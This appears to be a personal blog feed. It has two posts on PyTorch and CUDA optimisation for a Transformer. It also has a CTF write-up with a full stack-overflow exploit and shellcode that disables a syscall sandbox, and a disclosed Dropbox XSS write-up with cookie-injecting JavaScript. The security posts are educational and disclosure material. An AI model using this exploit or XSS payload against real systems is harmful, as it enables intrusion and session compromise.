Choongwoo Han

Writing a PyTorch custom layer in CUDA for Transformer

Thu, 07 Mar 2019 00:00:00 +0900

Deep learning models keep evolving. They are becoming huge and complex. Researchers find new architectures usually by combiniating existing operators of Tensorflow or PyTorch because researches require many trial and errors. However, sometimes, we may need a custom op for more optimizations. As the size of deep learning models grows, it will be more important to have optimized operators for production or scalable training. Thus, I studied how to write a custom layer in CUDA. I’ll share my approach to optimize my Transformer model I implemented last time, from profiling to writing a PyTorch op in CUDA.

Profiling

First, we have to be familiar with profiling of a deep learning model so that we can find a bottleneck and see how much improvement we have made after optimization. We can use the built-in PyTorch profiler, or general python profilers. We’ll take a look at both approaches.

torch.autograd.profiler

PyTorch provides an API, torch.autograd.profiler. We can use the api like this:

with torch.autograd.profiler.profile(use_cuda=True) as prof:
    # Execute ops here
print(prof)

Then, PyTorch automatically hooks each operator and measures performance of them. The profile result looks like this:

-------------  -----------  -----------  ------  -----------  -----------
Name              CPU time    CUDA time   Calls    CPU total   CUDA total
-------------  -----------  -----------  ------  -----------  -----------
eq               167.070us    166.944us       1    167.070us    166.944us
_th_eq           142.247us    144.416us       1    142.247us    144.416us
unsqueeze         35.181us     35.008us       1     35.181us     35.008us
triu              48.451us     48.000us       1     48.451us     48.000us
unsqueeze          3.987us      4.000us       1      3.987us      4.000us
embedding        520.553us    552.928us       1    520.553us    552.928us
squeeze           10.234us     10.240us       1     10.234us     10.240us
unsqueeze          3.535us      3.456us       1      3.535us      3.456us
masked_fill_      48.311us     78.656us       1     48.311us     78.656us
...

The profiler shows the time spent on CPU and GPU for each operator. It’s straightforward and seems like precise, but it’s not easy for me to distinguish ops and match them with my source code. For example, the above output shows three different unsqueeze operators, but we don’t know where they are called from. Thus, I moved to other profilers to find a bottleneck point.

line profiler

Since PyTorch is pythonic, we can also use general python profilers. I found line profiler which profiles a python application line by line. I could simply run the profiler by replacing python with kernprof in command line after adding a @profiler decorator on the top of a function you want to profile. In addition, for the case of CUDA, we have to set an environment variable CUDA_LAUNCH_BLOCKING to make CUDA calls synchronous.

$ CUDA_LAUNCH_BLOCKING=1 kernprof -lv train.py --problem lm1b --output_dir ./output --data_dir ./lm1b_data --model transformer

...

Line #      Hits         Time  Per Hit   % Time  Line Contents
==============================================================
    60                                               @profile
    61                                               def forward(self, q, k, v, mask, cache=None):
    ...
    69     13104    4009741.0    306.0     12.4          q = self.linear_q(q).view(batch_size, -1, self.head_size, d_k)
    ...
    73     13104    3630059.0    277.0     11.2              k = self.linear_k(k).view(batch_size, -1, self.head_size, d_k)
    74     13104    3600372.0    274.8     11.2              v = self.linear_v(v).view(batch_size, -1, self.head_size, d_v)
    ...
    83                                                   # Scaled Dot-Product Attention.
    84                                                   # Attention(Q, K, V) = softmax((QK^T)/sqrt(d_k))V
    85     13104    2323423.0    177.3      7.2          q.mul_(self.scale)
    86     13104    4916371.0    375.2     15.2          x = torch.matmul(q, k)  # [b, h, q_len, k_len]
    87     13104    1894378.0    144.6      5.9          x.add_(torch.zeros_like(x).masked_fill_(mask.unsqueeze(1), -1e9))
    88     13104    1948069.0    148.7      6.0          x = torch.softmax(x, dim=3)
    89     13104    1209843.0     92.3      3.7          x = self.att_dropout(x)
    90     13104    3235607.0    246.9     10.0          x = x.matmul(v)  # [b, h, q_len, attn]
    ...
    95     13104    3719383.0    283.8     11.5          x = self.output_layer(x)
    ...

Result of profiling MultiHeadAttention forward function after running an epoch looks like the above. It shows measured time spent for each line, so we can easily find a target code to optimize. Let’s focus on masked operations in line 85, 87 and 88. It’s combinating multiple operators to mimic “masked softmax” operation: filling negative infinite numbers to masked inputs of softmax so that softmax ignores them. In this post, I’ll try to optimize these operations. Note that it’s currently spending 19.1% (7.2 + 5.9 + 6.0) of the function execution time while line 86 is spending 15.2% of the time. Let’s use this value as a baseline.

There are also another good points for optimization, matrix multiplications in line 86 and 90, because their input or output are filled with a lot of zeros. But, I’ll not cover them at this time.

Masked Softmax

First, I thought we can optimize the masked softmax just by putting them together into a single operator because executing multiple operators itself makes an overhead. At every time calling each seprate operator, CUDA kernel calls make overhead and it also needs data transfer time between host and GPU.

I’ll make a custom CUDA operator named MaskedSoftmax. I’ll briefly define what it is.

$$ MaskedSoftmax(x, m, s)_{j} = {\frac {f(sx_{j}, m_{j})}{\sum _{k=1}^{K}f(sx_{k}, m_{k})}} \text{ for } j = 1, ..., K $$ $$ \text{where } f(x, m) = \begin{cases} e^{x} & \text{ if } m = 0 \\ 0 & \text{ if } m = 1 \end{cases} $$

$x$ is an input tensor of softmax, $m$ stands for a mask tensor, and $s$ is a scalar value of scale. The equation is similar with softmax except that masked values are treated as zero and multiplies input by a scale. The following figure shows an example of MaskedSoftmax. Masked positions become zero, and softmax is applied to the rest of values.

First Version

I first wrote a simple version of MaskedSoftmax. It consists of three passes that have the same flow with softmax: 1) find a maximum value of an input, 2) calcuate a sum of exponential values, and 3) make a exponential of each value and divide them by the sum of exponential values. The difference with softmax is that it also loads mask values and converts each input value to zero if their mask value is one.

template <typename scalar_t>
__global__ void __launch_bounds__(32) masked_softmax_cuda_forward_kernel(
    const scalar_t* __restrict__ input,
    const scalar_t* __restrict__ mask,
    scalar_t* __restrict__ output,
    unsigned int hidden_size,
    unsigned int m0, // size of mask dimension 0
    unsigned int m1, // size of mask dimension 1
    unsigned int m2, // size of mask dimension 2
    scalar_t scale) {

  // This threadIdx.x is a number between 0 and 31 because we only launched 32 threads.
  const int tid = threadIdx.x;
  // blockIdx.x, y, z are offsets of 0th, 1st, 2nd dimensions of input tensor.
  const unsigned int ibase = blockIdx.x * gridDim.y * gridDim.z * hidden_size +
                             blockIdx.y * gridDim.z * hidden_size +
                             blockIdx.z * hidden_size;
  const unsigned int mbase = blockIdx.x * (m0 > 1 ? m1 * m2 * hidden_size : 0) +
                             blockIdx.y * (m1 > 1 ? m2 * hidden_size : 0) +
                             blockIdx.z * (m2 > 1 ? hidden_size : 0);
  unsigned shfl_mask = __ballot_sync(0xffffffff, threadIdx.x < hidden_size);

  // Find a maximum input.
  scalar_t max_x = -FLT_MAX;
  for (unsigned int i = tid; i < hidden_size; i+=blockDim.x) {
    scalar_t m = mask[mbase + i];
    max_x = fmaxf(max_x, m == 0 ? input[ibase + i] * scale : -FLT_MAX);
  }
  // Reduce values in threads to find a global maximum number.
  for (unsigned int i = 16; i > 0; i >>= 1) {
    max_x = max(max_x, __shfl_xor_sync(shfl_mask, max_x, i));
  }

  // Find a sum of exponential inputs.
  scalar_t exp_sum = 0;
  for (unsigned int i = tid; i < hidden_size; i+=blockDim.x) {
    scalar_t m = mask[mbase + i];
    exp_sum += m == 0 ? std::exp(input[ibase + i] * scale - max_x) : 0;
  }
  // Reduce values in threads to find a global summation of exponential inputs.
  for (unsigned int i = 16; i > 0; i >>= 1) {
    exp_sum += __shfl_xor_sync(shfl_mask, exp_sum, i);
  }

  // Calculate outputs and save to global memory.
  for (unsigned int i = tid; i < hidden_size; i+=blockDim.x) {
    scalar_t m = mask[mbase + i];
    output[ibase + i] = m == 0 ? std::exp(input[ibase + i] * scale - max_x) / exp_sum : 0;
  }
}

CUDA has a concept of warp and block. Warp is a group of 32 threads, and a block has multiple warps. Each block has a shared memory, and there is a global memory accessible by any thread. Each thread executes the same kernel code with different thread and block id, thus each kernel finds and reads relevant input using the ids in global memory, and also saves each output to global memory. Since computation is distributed, it may need to reduce values in different blocks or threads if necessary.

In this softmax implementation, we need a reduction to get a sum or maximum of values. Since memory accesses to global/shared memory are common bottlenecks in CUDA kernel, I tried to avoid it. To do so, I created a single warp for each block, and used shuffle function. It uses registers for intra-warp communication, so threads can excahnge values without accessing shared memory.

for (unsigned int i = 16; i > 0; i >>= 1) {
  max_x = max(max_x, __shfl_xor_sync(shfl_mask, max_x, i));
}

With this custom operator, the time ratio of the masked softmax is reduced to about 15%. It’s not a huge improvement, but anyway it’s faster than before.

Line #      Hits         Time  Per Hit   % Time  Line Contents
==============================================================
    ...
    82                                                   # Scaled Dot-Product Attention.
    83                                                   # Attention(Q, K, V) = softmax((QK^T)/sqrt(d_k))V
    84     13048    4926927.0    377.6     16.2          x = torch.matmul(q, k)  # [b, h, q_len, k_len]
    85     13047    4462557.0    342.0     14.7          x = MaskedSoftmax.apply(x, mask, self.scale)
    ...

Now the built-in pytorch profiler shows the peroformance of this custom operator. So, I used this as a new baseline for further optimizaiton because line profiler took too much time to profile.

...
MaskedSoftmax          659.380us  733.185us   1   659.380us   733.185us
MaskedSoftmax          224.382us  241.669us   1   224.382us   241.669us
...
MaskedSoftmaxBackward  183.394us  126.968us   1   183.394us   126.968us
...

Further optimization

As I mentioned, memory accesses to global memory is a main bottleneck. We can minimize the number of memory accesses if we have some assumptions. The first version is currently reading two kinds of values, mask and input, from global memory. Masks used for the scaled dot-product attention usually have the following forms.

They are consecutive starting from leftmost or rightmost, and vanilla Transformer has only left three forms that are starting from leftmost. Thus, we don’t need to load a mask value for each input. It’s sufficient to load a single value indicating mask lengths before reading each row.

We can simply convert masks into a new form with this code:

mask = mask.size(2) - mask.sum(dim=2, dtype=torch.int32)

Then, we just need to load the mask lengths at first, iterate each loop as much as the mask length, and set zero for rest of the outputs.

  // Load a mask length.
  const unsigned int mask_offset = blockIdx.x * (m0 > 1 ? m1 : 0) +
                                   blockIdx.z * (m1 > 1 ? 1 : 0);
  unsigned int mask_size = min(static_cast<unsigned int>(mask[mask_offset]),
                               hidden_size);

  unsigned shfl_mask = __ballot_sync(0xffffffff, threadIdx.x < mask_size);

  scalar_t max_x = -FLT_MAX;
  // Iterate loop as much as the mask length.
  for (unsigned int i = tid; i < mask_size; i+=blockDim.x) {
    max_x = fmaxf(max_x, input[ibase + i] * scale);
  }
  for (unsigned int i = 16; i > 0; i >>= 1) {
    max_x = max(max_x, __shfl_xor_sync(shfl_mask, max_x, i));
  }

  scalar_t exp_sum = 0;
  for (unsigned int i = tid; i < mask_size; i+=blockDim.x) {
    exp_sum += std::exp(input[ibase + i] * scale - max_x);
  }
  for (unsigned int i = 16; i > 0; i >>= 1) {
    exp_sum += __shfl_xor_sync(shfl_mask, exp_sum, i);
  }

  // We initialized "output" to zero, so remaining outputs will be zero.
  for (unsigned int i = tid; i < mask_size; i+=blockDim.x) {
    output[ibase + i] = std::exp(input[ibase + i] * scale - max_x) / exp_sum;
  }

With this change, it becomes much faster. it’s now only spending 9% of the function time.

Line #      Hits         Time  Per Hit   % Time  Line Contents
==============================================================
    ...
    84     13007    5011658.0    385.3     17.2          x = torch.matmul(q, k)  # [b, h, q_len, k_len]
    85     13007    2688885.0    206.7      9.2          x = MaskedSoftmax.apply(x, mask, self.scale)
    ...

The execution time of MaskedSoftmax forward is now 2.5x faster than the first version.

MaskedSoftmax          716.706us  628.830us   1   716.706us   628.830us
MaskedSoftmax          261.741us   87.044us   1   261.741us    87.044us
...
MaskedSoftmaxBackward  171.726us   79.880us   1   171.726us    79.880us
...

I also checked how much this optimization makes entire training faster. I ran language model trainings on lm1b dataset, and measured average time for each (shard) epoch. The first CUDA version is about 0.8% faster than combinating PyTorch operators, and the second version is about 1.8% faster than the original version.

	Original	First Version	Second Version
Min	441.05 sec	436.66 sec	433.61 sec
Max	442.20 sec	439.70 sec	435.29 sec
Avg	441.67 sec	438.08 sec (0.8%)	433.90 sec (1.8%)

Conclusion

I wrote a custom operator in CUDA and made Transformer training about 2% faster. I first expected a huge performance improvement just by rewriting an operator in CUDA, but it was not. There are a lot of factors affecting performance, but I couldn’t catch everything. Besides, I encountered a lot of bugs because I’m not familiar with CUDA, and more code makes more bugs. This also makes me to write a lot of unexpected test code. This is a trade-off between performance and time to write code.

Writing a custom op was not as simple as I thought, but I could learn many things about how CUDA works and basic concepts like block, thread, kernel, memory, synchronization, and cache. I hope this helps people who starts performance optimization with CUDA.

You can find the full code in https://github.com/tunz/tcop-pytorch and an usage in https://github.com/tunz/transformer-pytorch.

Transformer Details Not Described in The Paper

Tue, 08 Jan 2019 00:00:00 +0900

Since I’m a complete newbie of the deep learning field, I was looking for something to learn as a first step. Then, I heard that Transformer-based models are outperforming existing state-of-the-arts. I ignored it at first and I thought this was just a passing fad because this field changes so quickly. However, it’s still popular even though over a year has passed since the introduction. Thus, I decided to try it by myself.

Transformer is a deep learning model introduced by Attention Is All You Need at 2017. It has been actively studied in various fields nowadays. Since there is a reference code written in tensorflow (tensor2tensor) of Transformer, I could just study it by reading their paper and the implementation, but I wanted to catch all the details that I might miss, so I tried to implement it from scratch in pytorch.

At first, it was quite straightforward to implement the paper, but I noticed soon that there is some difference between my implementation and the tensor2tensor code. I found that there had been many updates since the paper was published, and there are some parts not matched with the paper. I also had a hard time to implement things not described in the paper. Now, I guess I’ve caught most of them, and I want to share what I found during the implementation. I’ll skip the clear details of Transformer written in the paper such as the architecture of Transformer. I think there are already many good sources explaining them.

I used WMT de-en dataset which is the same with translate_ende_wmt32k_rev of tensor2tensor. Each setting of max length, warmup, and batch size was 100, 16000, and 4096. Note that batch size means the number of tokens per a mini batch.

Pre/post-processing Sequence for Each Sub-Layer

I found that the order of pre/post-processing in the implementation was not like the paper. It seems like it was updated after writing the paper. The previous version of the output of each sub-layer was

$$LayerNorm(x + SubLayer(x))$$

but now the output is changed to

$$x + SubLayer(LayerNorm(x))$$

We also have to normalize the final outputs of encoder/decoder at last.

The left and right figure represent the paper version and the actual implementation. At first glance, I thought it was just switching the order, but this is actually more than that. The paper version normalizes sub-layer outputs after adding residual connections, but tensor2tensor only normalizes sub-layer inputs and don’t touch residual connections. The following figure shows the effect of this new architecture. baseline is the actual implementation in tensor2tensor and Paper ver. is the old version. As you see, this makes a huge improvement.

Fast Decoding

Transformer could achieve good quality thanks to avoiding autoregressive computations like RNN. But, unlike training steps, decoding (inference) steps still have to be autoregressive. Optimizing the decoding steps is indispensable for production.

We can optimize autoregressive steps by caching unnecessary repetitive computations. Decoding steps expand targets one by one after getting output from Transformer and feed the expanded targets until we reach the EOS token. The point here is that inputs never changes. We only have to get Encoder Output once and reuse it for the rest decoding steps, which improves decoding speed 1.33 times faster. Furthermore, the Encoder Output is used to get K and V value for encoder-decoder attention. We can also keep these values and reuse them, which makes it 1.42 times faster.

	No Optimization	Cache Encoder Output	Cache K, V
	104ms	78ms	73ms

This is all I found about fast decoding, but I’m sure there are more we can optimize. For instance, we don’t need to repetitively compute positional encodings or networks for previous targets. Half of self-attention values in decoder are zeros because its attention mask shape is triangular, then we might be able to avoid computations with sparse computation techniques like blocksparse.

Data Preprocessing

The ways of feeding data influence performance of training a lot. This may be a topic for general training of NLP models, so it might be inappropriate for this post, but I want to share what I’ve learned from tensor2tensor code.

Paddings

Since NLP tasks have variable-length data, we need to add paddings to make the same size with other inputs in a mini-batch. Then, we have two problems. First, it’s a waste of resources to load and compute paddings. If we can minimize the fraction of paddings, then we can make the training much faster. In my case, when 60% of my data were paddings, it took 250 sec for each training epoch, but it became 100 sec after reducing the fraction of paddings to 5%. Second, computations for paddings could be noise. In Transformer, paddings became non-zero after passing normalization layers. This makes gradients for each padding, which makes unnecessary weight updates. I found that many other implementations are handling this issue (e.g. reset paddings to zero at every sublayer). But, surprisingly, tensor2tensor does not handle paddings in encoder/decoder layers. It just multiplies zeros to paddings in embedding layers, and ignore paddings of inputs by masking paddings in attentions.

tensor2tensor focuses on reducing the fraction of paddings rather than handling paddings in the model itself. They use bucketing by sequence lengths. It is just to group sequences which have similar lengths. In the following figure, paddings is to feed data sequentially regardless of sequence lengths, and baseline is a naive implementation of tf.bucket_by_sequence_length in pytorch.

Data Sharding

tensor2tensor splits datasets into multiple shards because we cannot load all data on memory if data is too big. So, tensor2tensor iterates and loads each shard one by one for training. One important thing is that each shard has an equal distribution of datasets.

We sometimes gather datasets from multiple sources to make a “big data”. Then, each dataset may have inconsistent characteristics, so feeding them sequentially may lead to slow convergence of training. Shuffling data is one option to handle the issue, but shuffling big-data is not simple. So, tensor2tensor just makes each shard to have an equal distribution of datasets of different sources and shuffles only small fraction of entire dataset. This strategy stabilizes training like the following figure. consecutive is to feed data consecutively whose dataset is not well distributed, which shows a lot of fluctuation and slow convergence in the validation set.

Minors

Weight Initialization

As we all know, weight initialization is one of the important factors for training. Xavier (glorot) uniform initializer with $1.0$ gain is the initializer for encoder and decoder layers. But, one more thing we should be careful about is that we have to initialize embedding layers with a random normal initializer with $0.0$ mean and $d_{model}^{-0.5}$ stddev settings.

Positional Encoding

Transformer has a special encoding for positional information like this:

$$ \begin{align} PE_{(pos, 2i)} & = sin(pos/10000^{2i/d_{model}})\\ PE_{(pos, 2i+1)} & = cos(pos/10000^{2i/d_{model}}) \end{align} $$

But, the actual implementation gets positional encodings by the following formula:

$$ \begin{align} PE_{(pos, i)} & = sin(pos/10000^{i/(d_{model}/2-1)}) & \text{ where } & 0 \le i < d_{model}/2\\ PE_{(pos, i)} & = cos(pos/10000^{(i-d_{model}/2)/(d_{model}/2-1)}) & \text{ where } & d_{model}/2 \le i < d_{model} \end{align} $$

I think this does not make a big difference in performance because positional encoding is just a heuristic to make a difference between relative positions, but we just need to be careful when we have to load pre-trained frozen embeddings.

Dropout

The paper described only two dropouts: one in the output of each sub-layer and the other in the embedding layers. But, two more dropouts are added to Transformer. Transformer has dropouts after ReLU in position-wise feed-forward networks, and after SoftMax in attentions.

Hyperparameter Settings

There are many updates on the default hyperparameter settings. For example, learning rate is doubled. They updated $\beta_{2}$ of Adam optimizer to $0.997$. The default values of warmup steps for single GPU and others are also updated to $16000$ and $8000$. Epsilon value for layer normalization is $10^{-6}$.

Conclusion

Since deep learning is mostly based on empirical studies. Some researches are overfitted to a specific problem. There could be some important details authors didn’t realize, or authors may overemphasize not so critical points. Sometimes, unintended implementations make performance improvements. Thus, it’s important to try models by yourself.

Actually, I first tried to build my own neural networks instead of using well-known architectures to solve my own problem before starting this project, but it didn’t work well. Since there is no clear answer in this field, it was really hard to debug and improve it. Implementing Transformer from scratch helped me to study cases with a concrete answer. At least, I was able to move toward the reference implementation. I couldn’t still understand why those small changes make different behaviors, but this experience will help me to debug neural network models in the near future. I recommend you to implement well-known architectures from scratch.

You can find my code in https://github.com/tunz/transformer-pytorch.

SECCON CTF 2015 Quals 'SYSCALL:Impossible' write up

Mon, 07 Dec 2015 00:00:00 +0900

I recently restarted playing CTFs. We played SECCON CTF last week and qualified for the final round. I heard many other teams solved ‘SYSCALL’, one of the challenges from SECCON, in different ways, so I decided to briefly share my approach.

The vulnerability of the challenge was very simple: Long input bytes cause stack buffer overflow and there is no non-executable stack option. So, we can execute any shellcode with jmp rsp instruction but it is not allowed to execute syscall instruction by a pintool plugin called Pinhole.

1
2
3
4
5
6
7
8
9
10
11
12
VOID check_syscall(ADDRINT rax, ADDRINT rdi)
{
    static int is_syscall_impossible = 0;
    if(is_syscall_impossible){
        PIN_ERROR("invalid syscall\n");
        exit(-1);
    }else{
        if(rax == 3 && rdi == 31337){   // sys_close(31337)
            is_syscall_impossible = ~0;
        }
    }
}

The pinhole disables system calls after calling the close(31337) invoked when finishing main function.

I just decided to overwrite the is_syscall_impossible variable. Then, we had to find the address of is_syscall_impossible located on Pinhole.so library. After wasting some time, my teammate told me that the address of pin binary is fixed, so I used pin binary to find a location of is_syscall_impossible.

root@IU:~# cat /proc/7763/maps
00400000-004b4000 r-xp 00000000 08:01 57021263                           /home/tunz/seccon/ex500/vulnserver
006b4000-006b6000 rwxp 000b4000 08:01 57021263                           /home/tunz/seccon/ex500/vulnserver
006b6000-006b8000 rwxp 00000000 00:00 0
00b9b000-00bbe000 rwxp 00000000 00:00 0                                  [heap]
304000000-3047e4000 r-xp 00000000 08:01 9443194                          /home/tunz/seccon/ex500/pin-2.14-71313-gcc.4.4.7-linux/intel64/bin/pinbin
3047e4000-3049e3000 ---p 00000000 00:00 0
3049e3000-304a87000 rwxp 007e3000 08:01 9443194                          /home/tunz/seccon/ex500/pin-2.14-71313-gcc.4.4.7-linux/intel64/bin/pinbin
304a87000-304b13000 rwxp 00000000 00:00 0
304b14000-304b23000 rwxp 00000000 00:00 0
304b27000-304b28000 rwxp 00000000 00:00 0
304b2b000-304b66000 rwxp 00000000 00:00 0
304b66000-304b67000 ---p 00000000 00:00 0
304b67000-304b97000 rwxp 00000000 00:00 0
7f10017a7000-7f10017a8000 rwxp 00000000 00:00 0
7f10017af000-7f10017b2000 rwxp 00000000 00:00 0
7f10017b4000-7f10019b6000 rwxp 00000000 00:00 0
7f10019b6000-7f1011976000 ---p 00000000 00:00 0
7f1011976000-7f1012f65000 rwxp 00000000 00:00 0                          [stack:7763]
7f1012f65000-7f101370d000 r-xp 00000000 08:01 57021267                   /home/tunz/seccon/ex500/Pinhole.so
7f101370d000-7f101390d000 ---p 007a8000 08:01 57021267                   /home/tunz/seccon/ex500/Pinhole.so
7f101390d000-7f10139b3000 r-xp 007a8000 08:01 57021267                   /home/tunz/seccon/ex500/Pinhole.so
7f10139b3000-7f10139b5000 rwxp 0084e000 08:01 57021267                   /home/tunz/seccon/ex500/Pinhole.so
...

pin binary may contain one of addresses of Pinhole.so. In my case, an address 0x304aa3008 contains an address of dynamically loaded libraries. We cannot be sure that the address always contain one of library addresses, but I just assumed that pin of the target server also contains one of addresses of libraries because my teammate’s pin did.

Although I could find one address of libraries, offset between the found address and address of is_syscall_impossible variable can be different. I handled this issue by searching addresses around a expected address that is found in my server. It took few seconds.

mov rbx, 0x304aa3008
mov rbx, [rbx]
sub rbx, [[ rough offset ]]

mov rcx, 0xffffffff
next_again:
mov rax, [rbx]
cmp rax, rcx
jz go_syscall
add rbx, 4
jmp next_again

go_syscall:
[[ shellcode ]]

I made a shellcode that searches 0xffffffff using a loop because is_syscall_impossible variable contains a value of 0xffffffff. It helps to find the location of is_syscall_impossible more quickly. You may be able to make a more reliable shellcode.

This following code is my full exploit code.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
from pwn import *
from struct import pack
from socket import *
import time

context(arch = 'amd64', os = 'linux')

for i in range(0, 10000000, 500):
        t = 12500000 + i
        #sub rbx, 12513000 # Answer offset of the target server
        #sub rbx, 12622540 # Offset of my server
        f = open('input', 'wb')
        shellcode = enhex(asm('''
        mov rbx, 0x304aa3008
        mov rbx, [rbx]
        sub rbx, '''+str(t)+'''

        mov rcx, 0xffffffff
        next_again:
        mov rax, [rbx]
        cmp rax, rcx
        jz go_syscall
        add rbx, 4
        jmp next_again

        go_syscall:
        movq [rbx], 0

        movq [rsp], 0x67616c66
        movq [rsp+4], 0x7478742e
        push 0
        pop rcx
        mov [rsp+8], ecx

        lea rdi, [rsp]
        xor rsi, rsi
        xor rax, rax
        inc rax
        inc rax
        syscall

        mov rbx,rax

        lea rsi, [rsp]
        mov rdi, rbx
        push 0x7f
        pop rdx
        xor rax, rax
        syscall

        lea rsi, [rsp]
        xor rdi, rdi
        inc rdi
        mov rdx, rax
        xor rax, rax
        inc rax
        syscall

        push 60
        pop rax
        syscall
        '''))
        
        shellcode = shellcode.decode('hex')

        # 0x48a76b is an address of 'jmp rsp'
        f.write("A"*280+pack('<Q',0x48a76b)+shellcode)
        f.close()

        s = socket(AF_INET, SOCK_STREAM)
        s.connect(('pinhole.pwn.seccon.jp',10000))
        s.send(open('input','rb').read())
        time.sleep(0.1)
        data = s.recv(10240)
        print data
        if "invalid" in data:
                print data
        elif len(data) > 0:
                print str(t)
                break
        s.close()

XSS subdomain escape wirte up (in Dropbox)

Tue, 05 May 2015 00:00:00 +0900

I think many people already knows that we can execute any JavaScript code without any filter by simply uploading a HTML file to Dropbox. But, the uploaded script is executed under a sandboxed domain, dl-web.dropbox.com, so we cannot easily steal any other user’s session.

One thing you have to notice is that the sandboxed domain shared the same eTLD with the non-sandboxed domain (.dropbox.com). I thought it may be able to make something happen on www.dropbox.com through dl-web.dropbox.com.

Vulnerability

I found a some nice feature, Flash. It is a pop up message appeared for 1-2 seconds, which is triggered by cookies. After cookies, “flash” and “bang”, are given, it draws a small message box containing a text written in cookie “flash”, and check the correctness of the ‘flash’ with cookie ‘bang’. The ‘bang’ seems like a hmac of “flash”. So, I needed to find a correct “bang” value for my custom “flash”.

I also found another function which unlinks a device in security setting page. When I unlink a some device, it shows me a flash message, which contains the unlinked device name. So, If I set any JavaScript code for a device name and unlink it, then it will generate a correct ‘flash’ and ‘bang’ value of the injected script.

Now, I can make any flash messages with any text.

Exploit

Now, we just need to upload an html file to Dropbox with the “flag” and “bang” values. After uploading a HTML file that assigns the malicious cookies given from the device unlink function, make victim to click your page. The flash meesage will appear and attack the victim when the victim opens a dropbox web page.

1
2
3
4
5
6
7
<script>
document.cookie="bang=QUFEZGthYS1CaTNfWUpYcDUwdjNxemVHSHlhSHJkU3BEdnhKRUxOZVZ3b2ZoUQ%3D%3D;
Domain=dropbox.com; Path=/;";
document.cookie="flash=b2s6PGltZyBzcmM9eCBvbmVycm9yPWFsZXJ0KGRvY3VtZW50LmRvbWFpbik%2BIHVubGlua
2VkIHN1Y2Nlc3NmdWxseS4%3D; Domain=dropbox.com; Path=/";
location.href="https://dropbox.com/forgot";
</script>

There is a CSP. But, the script can be executed on IE or Safari.

2015/05/02 Fixed, a bounty of $1,331

Old blog posts

Thu, 01 Jan 2015 00:00:00 +0900

Old blog posts are in http://tunz.tistory.com.